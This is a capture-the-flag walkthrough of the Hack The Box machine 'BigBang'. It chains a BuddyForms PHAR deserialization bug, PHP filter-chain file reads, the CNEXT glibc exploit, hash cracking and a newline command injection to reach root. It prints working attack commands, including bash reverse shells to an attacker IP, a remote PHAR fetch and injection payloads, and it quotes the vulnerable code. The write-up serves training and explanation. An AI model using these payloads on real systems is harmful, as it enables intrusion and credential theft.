> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2025-02-01

Hack The Box — BigBang (Linux)

BuddyForms insecure deserialization and filter-chain tricks leak WordPress secrets, CNEXT exploitation gives container RCE, credential reuse and Grafana DB cracking lead to developer, and command injection in the satellite API yields root.

Target

  • IP: 10.129.212.153

Recon

sudo nmap -sC -sV 10.129.212.153 -p- -T5 -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_  256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.62
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add blog.bigbang.htb to /etc/hosts.

Go to http://blog.bigbang.htb/.

It is a WordPress site.

Run WPScan:

wpscan --url http://blog.bigbang.htb/ -e ap --plugins-detection aggressive -v
[+] URL: http://blog.bigbang.htb/ [10.129.212.153]
[+] Started: Tue Jan 28 16:32:51 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.62 (Debian)
 |  - X-Powered-By: PHP/8.3.2
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://blog.bigbang.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
 |  - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>

[+] WordPress theme in use: twentytwentyfour
 | Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 | [!] Directory listing is enabled
 | Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collection of templates and patterns tailor to different needs, such as presenting a business, blogging and writing or showcasing work. A multitude of possibilities open up with just a few adjustments to color and typography. Twenty Twenty-Four comes with style variations and full page designs to help speed up the site building process, is fully compatible with the site editor, and takes advantage of new design tools introduced in WordPress 6.4.
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 | License: GNU General Public License v2 or later
 | License URI: http://www.gnu.org/licenses/gpl-2.0.html
 | Tags: one-column, custom-colors, custom-menu, custom-logo, editor-style, featured-images, full-site-editing, block-patterns, rtl-language-support, sticky-post, threaded-comments, translation-ready, wide-blocks, block-styles, style-variations, accessibility-ready, blog, portfolio, news
 | Text Domain: twentytwentyfour
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:35:34 <===============================> (108831 / 108831) 100.00% Time: 00:35:34
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://blog.bigbang.htb/wp-content/plugins/akismet/
 | Latest Version: 5.3.5
 | Last Updated: 2024-11-19T02:02:00.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://blog.bigbang.htb/wp-content/plugins/akismet/, status: 403
 |
 | The version could not be determined.

[+] buddyforms
 | Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
 | Last Updated: 2024-09-25T04:52:00.000Z
 | Readme: http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
 | [!] The version is out of date, the latest version is 2.8.13
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://blog.bigbang.htb/wp-content/plugins/buddyforms/, status: 200
 |
 | Version: 2.7.7 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Tue Jan 28 17:08:58 2025
[+] Requests Done: 108883
[+] Cached Requests: 7
[+] Data Sent: 30.064 MB
[+] Data Received: 36.967 MB
[+] Memory used: 446.121 MB
[+] Elapsed time: 00:36:07

There is a CVE for this BuddyForms version: CVE-2023-26326.

Useful reference:

  • https://medium.com/tenable-techblog/wordpress-buddyforms-plugin-unauthenticated-insecure-deserialization-cve-2023-26326-3becb5575ed8

Initial Access (WordPress -> CNEXT)

Upload malicious PHAR:

curl -X POST 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -d 'action=upload_image_from_url&url=http://10.10.16.15/evil.phar&id=1&accepted_files=image/gif'
{"status":"OK","response":"http:\/\/blog.bigbang.htb\/wp-content\/uploads\/2025\/01\/1.png","attachment_id":157}

Uploaded file is visible at:

  • http://blog.bigbang.htb/wp-content/uploads/2025/01/

Now attempt phar://:

curl -X POST 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -d 'action=upload_image_from_url&url=phar://../wp-content/uploads/2025/01/1.png&id=1'
{"status":"FAILED","response":"File type  is not allowed."}

That does not work directly.

Use wrapwrap:

  • https://github.com/ambionics/wrapwrap
git clone https://github.com/ambionics/wrapwrap
python3 wrapwrap/wrapwrap.py /etc/passwd 'GIF' '' 1000
cat chain.txt

We get something like:

php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd

Use the copied chain:

curl -X POST 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -d 'action=upload_image_from_url&url=roba_copiata&accepted_files=image/gif&id=1'
{"status":"OK","response":"http:\/\/blog.bigbang.htb\/wp-content\/uploads\/2025\/01\/1-2.png","attachment_id":157}
curl 'http://blog.bigbang.htb/wp-content/uploads/2025/01/1-2.png'

We get /etc/passwd.

Replace /etc/passwd with ../wp-config.php in payload and repeat.

We get wp-config.php with useful values:

define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wp_user' );

/** Database password */
define( 'DB_PASSWORD', 'wp_password' );

/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );

Use cnext-exploits:

  • https://github.com/ambionics/cnext-exploits
git clone --recurse-submodules https://github.com/ambionics/cnext-exploits.git

We need to modify cnext_exploit.py.

Download target libc first.

Modify previous filter payload tail with:

convert.base64-decode/resource=php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc.so.6

Send curl requests and save output as target_libc.so.6_b64.

Remove extra bytes at beginning/end.

Decode base64:

base64 -d target_libc.so.6_b64 > target_libc.so.6

Verify:

file target_libc.so.6
chmod +x target_libc.so.6

Copy local libc into current folder:

cp /lib/x86_64-linux-gnu/libc.so.6 mylibc.so.6

Patch libc with script from breachforums (modified):

python3 patch_libc.py

See script my_cnet-exploit.py.

Listen:

nc -vlnp 4444

Run exploit:

python3 cnext-exploits/my_cnext-exploit.py 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' 'bash -c "bash -i >& /dev/tcp/10.10.16.77/4444 0>&1"'

We get reverse shell as www-data.

Upgrade shell:

script -qc /bin/bash /dev/null
CRTL+z
stty raw -echo
fg

Docker Pivot to WordPress DB and User Shell

We discover we are inside a Docker container.

From wp-config.php we saw DB host 172.17.0.1 (Docker host).

Likely MySQL, but mysql tools are missing in container.

Forward port with chisel.

Download chisel and upload to container:

  • https://github.com/jpillora/chisel

Attacker:

./chisel server --port 8000 --reverse

Victim:

./chisel client http://10.10.16.77:8000 R:127.0.0.1:3306:172.17.0.1:3306

Connect to DB:

mysql -h 127.0.0.1 -u wp_user -p

Enter password wp_password.

use wordpress;
show databases;
use wordpress;
show tables;
select * from wp_users;
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
| ID | user_login | user_pass                          | user_nicename | user_email           | user_url                | user_registered     | user_activation_key | user_status | display_name    |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
|  1 | root       | $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1 | root          | root@bigbang.htb     | http://blog.bigbang.htb | 2024-05-31 13:06:58 |                     |           0 | root            |
|  3 | shawking   | $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./ | shawking      | shawking@bigbang.htb |                         | 2024-06-01 10:39:55 |                     |           0 | Stephen Hawking |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+

Crack hash:

hashcat -a 0 ./hash ./rockyou.txt --username

Result:

shawking:$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./:quantumphysics

SSH:

ssh shawking@blog.bigbang.htb

Use discovered password.

We get shell as shawking.

Grafana DB Loot -> developer

There is another user: developer.

In /opt/data there is grafana.db.

Copy it locally and inspect:

sqlite3 grafana.db
.tables

PRAGMA table_info('user');
0|id|INTEGER|1||1
1|version|INTEGER|1||0
2|login|TEXT|1||0
3|email|TEXT|1||0
4|name|TEXT|0||0
5|password|TEXT|0||0
6|salt|TEXT|0||0
7|rands|TEXT|0||0
8|company|TEXT|0||0
9|org_id|INTEGER|1||0
10|is_admin|INTEGER|1||0
11|email_verified|INTEGER|0||0
12|theme|TEXT|0||0
13|created|DATETIME|1||0
14|updated|DATETIME|1||0
15|help_flags1|INTEGER|1|0|0
16|last_seen_at|DATETIME|0||0
17|is_disabled|INTEGER|1|0|0
18|is_service_account|BOOLEAN|0|0|0
19|uid|TEXT|0||0

select * from user;
1|0|admin|admin@localhost||441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf|CgJll8Bmss||1|1|0||2024-06-05 16:14:51|2024-06-05 16:16:02|0|2024-06-05 16:16:02|0|0|
2|0|developer|ghubble@bigbang.htb|George Hubble|7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv|0Whk1JNfa3||1|0|0||2024-06-05 16:17:32|2025-01-20 16:27:39|0|2025-01-20 16:27:19|0|0|ednvnl5nqhse8d

Download grafana2hashcat:

  • https://github.com/iamaldi/grafana2hashcat

Create hashes.txt:

441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34,CFn7zMsQpf
7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960,4umebBJucv

Convert:

python3 grafana2hashcat.py hashes.txt
sha256:10000:Q0ZuN3pNc1FwZg==:RBpxW9eI6SgXC+eVSxfLGd6DWi3t/ezoxlMnyx2bpr1H1w7bdCGwXZcGumFHy3GXOjQ=
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=

Put hashes into hash file and crack:

hashcat -a 0 ./hash ./rockyou.txt

Result:

sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=:bigbang

We obtained developer password.

SSH:

ssh developer@blog.bigbang.htb

Use password bigbang.

We get shell as developer.

Root via Satellite API Command Injection

In home we notice android directory with satellite-app.apk.

Check running processes:

ps aux

Interesting process:

root        1672  0.0  1.7 246812 71160 ?        Ssl  04:01   0:08 /usr/bin/python3 /root/satellite/app.py

Download satellite-app.apk locally.

Use apktool:

apktool d satellite-app.apk -o test
cd test
grep -nriE 'bigbang'

We find:

http://app.bigbang.htb:9090/command

Add app.bigbang.htb to /etc/hosts.

Decompile smali with smali2java:

  • https://github.com/AlexeySoshin/smali2java
git clone https://github.com/AlexeySoshin/smali2java.git
cd smali2java
go build
cd ..
./smali2java/smali2java -path_to_smali=./test/smali

In test/smali/u there is inal.java with:

final String v9 = "http://app.bigbang.htb:9090/login"

Alternative:

d2j-dex2jar satellite-app.apk

This generates a jar. Open with jd-gui.

In u/f.class:

uRL2 = new URL();
this("http://app.bigbang.htb:9090/login");
HttpURLConnection httpURLConnection = (HttpURLConnection)uRL2.openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setRequestProperty("Content-Type", "application/json");
httpURLConnection.setRequestProperty("Accept", "application/json");
httpURLConnection.setDoOutput(true);
OutputStream outputStream = httpURLConnection.getOutputStream();

In q0/b.class:

URL uRL = new URL();
this("http://app.bigbang.htb:9090/command");
HttpURLConnection httpURLConnection = (HttpURLConnection)uRL.openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setRequestProperty("Content-Type", "application/json");
StringBuilder stringBuilder = new StringBuilder();
this("Bearer ");
stringBuilder.append(this.b.p);
httpURLConnection.setRequestProperty("Authorization", stringBuilder.toString());
httpURLConnection.setDoOutput(true);
stringBuilder = new StringBuilder();
this("{\"command\": \"send_image\", \"output_file\": \"");
stringBuilder.append(this.a);
stringBuilder.append("\"}");
String str = stringBuilder.toString();
OutputStream outputStream = httpURLConnection.getOutputStream();

In com/satellite.bigbang there are:

  • MainActivity
  • LoginActivity
  • MoveCommandActivity
  • TakePictureActivity

More code notes:

JSONObject jSONObject = new JSONObject();
this();
jSONObject.put("username", str1);
jSONObject.put("password", str2);
str1 = jSONObject.toString();

JSONObject jSONObject = new JSONObject();
this();
jSONObject.put("command", "move");
jSONObject.put("x", Float.parseFloat(str3));
jSONObject.put("y", Float.parseFloat(str4));
jSONObject.put("z", Float.parseFloat(str5));
str3 = jSONObject.toString();
f f = new f();
this((ContextWrapper)object, 2);
f.execute((Object[])new String[] { str3 });

On developer shell:

ss -ltpn
State        Recv-Q       Send-Q               Local Address:Port                Peer Address:Port       Process
LISTEN       0            4096                       0.0.0.0:80                       0.0.0.0:*
LISTEN       0            128                        0.0.0.0:22                       0.0.0.0:*
LISTEN       0            4096                     127.0.0.1:41061                    0.0.0.0:*
LISTEN       0            4096                 127.0.0.53%lo:53                       0.0.0.0:*
LISTEN       0            4096                     127.0.0.1:3000                     0.0.0.0:*
LISTEN       0            4096                    172.17.0.1:3306                     0.0.0.0:*
LISTEN       0            128                      127.0.0.1:9090                     0.0.0.0:*
LISTEN       0            4096                          [::]:80                          [::]:*
LISTEN       0            128                           [::]:22                          [::]:*

Port 9090 is localhost-only. Forward it:

ssh developer@blog.bigbang.htb -NL 9090:localhost:9090

Test login endpoint:

curl -X POST 'http://127.0.0.1:9090/login' -H 'Content-Type: application/json' -d '{}' -v
{"error":"Missing username or password"}
curl -X POST 'http://127.0.0.1:9090/login' -H 'Content-Type: application/json' -d '{"username": "developer", "password": "bigbang"}' -v
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5NjM2NywianRpIjoiMjExZmJiMGQtNTQ1Ny00MDE3LTgwZWEtYTA3YzQ0NjQ0NTUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5NjM2NywiY3NyZiI6ImE1NDNhMmRmLWQ3MjItNDg5Mi1iMDEwLTQ5ZDhkNzhjMWRmMCIsImV4cCI6MTczODU5OTk2N30.dm59T3mYO6pS3rYqWh2KOTFyxsIuTZmp7HhBLae0i34"}

Test command endpoint:

curl -X POST 'http://127.0.0.1:9090/command' -d 'aaaaa' -v
{"msg":"Missing Authorization Header"}
curl -X POST 'http://127.0.0.1:9090/command' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5NjM2NywianRpIjoiMjExZmJiMGQtNTQ1Ny00MDE3LTgwZWEtYTA3YzQ0NjQ0NTUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5NjM2NywiY3NyZiI6ImE1NDNhMmRmLWQ3MjItNDg5Mi1iMDEwLTQ5ZDhkNzhjMWRmMCIsImV4cCI6MTczODU5OTk2N30.dm59T3mYO6pS3rYqWh2KOTFyxsIuTZmp7HhBLae0i34' -H 'Content-Type: application/json' -d '{}' -v
{"error":"Invalid command"}
curl -X POST 'http://127.0.0.1:9090/command' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5NjM2NywianRpIjoiMjExZmJiMGQtNTQ1Ny00MDE3LTgwZWEtYTA3YzQ0NjQ0NTUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5NjM2NywiY3NyZiI6ImE1NDNhMmRmLWQ3MjItNDg5Mi1iMDEwLTQ5ZDhkNzhjMWRmMCIsImV4cCI6MTczODU5OTk2N30.dm59T3mYO6pS3rYqWh2KOTFyxsIuTZmp7HhBLae0i34' -H 'Content-Type: application/json' -d '{"command": "whoami"}' -v
{"error":"Invalid command"}
curl -X POST 'http://127.0.0.1:9090/command' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5NjM2NywianRpIjoiMjExZmJiMGQtNTQ1Ny00MDE3LTgwZWEtYTA3YzQ0NjQ0NTUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5NjM2NywiY3NyZiI6ImE1NDNhMmRmLWQ3MjItNDg5Mi1iMDEwLTQ5ZDhkNzhjMWRmMCIsImV4cCI6MTczODU5OTk2N30.dm59T3mYO6pS3rYqWh2KOTFyxsIuTZmp7HhBLae0i34' -H 'Content-Type: application/json' -d '{"command": "send_image", "output_file": "/dev/shm/test.png"}' -v
{"error":"Invalid command"}
curl -X POST 'http://127.0.0.1:9090/command' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5NjM2NywianRpIjoiMjExZmJiMGQtNTQ1Ny00MDE3LTgwZWEtYTA3YzQ0NjQ0NTUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5NjM2NywiY3NyZiI6ImE1NDNhMmRmLWQ3MjItNDg5Mi1iMDEwLTQ5ZDhkNzhjMWRmMCIsImV4cCI6MTczODU5OTk2N30.dm59T3mYO6pS3rYqWh2KOTFyxsIuTZmp7HhBLae0i34' -H 'Content-Type: application/json' -d '{"command": "send_image", "output_file": "1.png"}' -v

A file is created. Running command again gives:

{"error":"Error generating image: Error copying file: File exists\n"}

Inject newline payload:

curl -X POST 'http://127.0.0.1:9090/command' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5OTk3OSwianRpIjoiYjg5MTE0NzctMzJmMC00YjNhLWI5MjEtNDZlZTQzM2FjNDk2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5OTk3OSwiY3NyZiI6IjA5ZThmZDQ4LTZiM2ItNDI2OC04YTY3LTliOWNlYTU0N2JlYyIsImV4cCI6MTczODYwMzU3OX0.QajOEo62NFzOro7Sj4ZBYfM9AVGS8ZxzlMWMffFOk6Y' -H 'Content-Type: application/json' -d '{"command": "send_image", "output_file": "\nsleep 3"}' -v

The web app pauses for 3 seconds.

On victim, create /dev/shm/rev with content:

bash -i >& /dev/tcp/10.10.16.77/4444 0>&1

On attacker:

nc -vlnp 4444

Execute:

curl -X POST 'http://127.0.0.1:9090/command' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5OTk3OSwianRpIjoiYjg5MTE0NzctMzJmMC00YjNhLWI5MjEtNDZlZTQzM2FjNDk2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5OTk3OSwiY3NyZiI6IjA5ZThmZDQ4LTZiM2ItNDI2OC04YTY3LTliOWNlYTU0N2JlYyIsImV4cCI6MTczODYwMzU3OX0.QajOEo62NFzOro7Sj4ZBYfM9AVGS8ZxzlMWMffFOk6Y' -H 'Content-Type: application/json' -d '{"command": "send_image", "output_file": "\nbash /dev/shm/rev"}' -v

We get a reverse shell as root.

Root Cause in Code

In /root/satellite/app.py, these characters are filtered:

def contains_dangerous_chars(input_str):
    dangerous_chars = [
        ';',  # Separador de comandos
        "'",  # Comilla simple
        '"',  # Comilla doble
        '\\',  # Barra invertida
        '&',  # Ejecución en paralelo
        '|',  # Pipe
        '$',  # Expansión de variables
        '(',  # Paréntesis de apertura
        ')',  # Paréntesis de cierre
        '>',  # Redirección de salida
        '<',  # Redirección de entrada
        '`',  # Acento grave
        '!',  # Ejecución de comandos del historial
        '+',  # Puede ser usado en algunos contextos para comandos
        '#',  # Comentarios en shell
        '*',  # Wildcard (comodín)
        '?',  # Wildcard (comodín)
        '[',  # Inicio de clase de caracteres en expresiones regulares
        ']',  # Fin de clase de caracteres en expresiones regulares
        '{',  # Inicio de bloque de comandos o parámetros en algunas shells
        '}',  # Fin de bloque de comandos o parámetros en algunas shells
        '^',  # Redirección de error en algunas shells
        '%'  # Puede tener usos especiales en algunas shells
    ]
    return any(char in input_str for char in dangerous_chars)

send_image handler:

elif command == 'send_image':
        output_file = request.json.get('output_file')
        if not output_file:
            return jsonify({'error': 'Output file path must be provided'}), 400
        if contains_dangerous_chars(output_file):
            return jsonify({'error': 'Output file path contains dangerous characters'}), 400
        try:
            image_data = generate_random_image(output_file)
            return send_file(BytesIO(image_data), mimetype='image/png')
        except RuntimeError as e:
            return jsonify({'error': str(e)}), 500
    else:
        return jsonify({'error': 'Invalid command'}), 400

generate_random_image function:

def generate_random_image(output_file):
    try:
        result = subprocess.run(f'/usr/local/bin/image-tool --get-image {output_file}',
                                check=True, shell=True, capture_output=True, text=True)
        print(f"STDOUT: {result.stdout}")  # Log the standard output
        print(f"STDERR: {result.stderr}")  # Log the standard error
    except subprocess.CalledProcessError as e:
        print(f"Error executing image-tool: {e.stderr}")
        raise RuntimeError(f'Error generating image: {e.stderr}')

    try:
        with open(output_file, 'rb') as file:
            return file.read()
    except Exception as e:
        raise RuntimeError(f'Error reading image file: {str(e)}')

Because command is built with shell=True, newline injection bypasses blacklist and leads to command execution.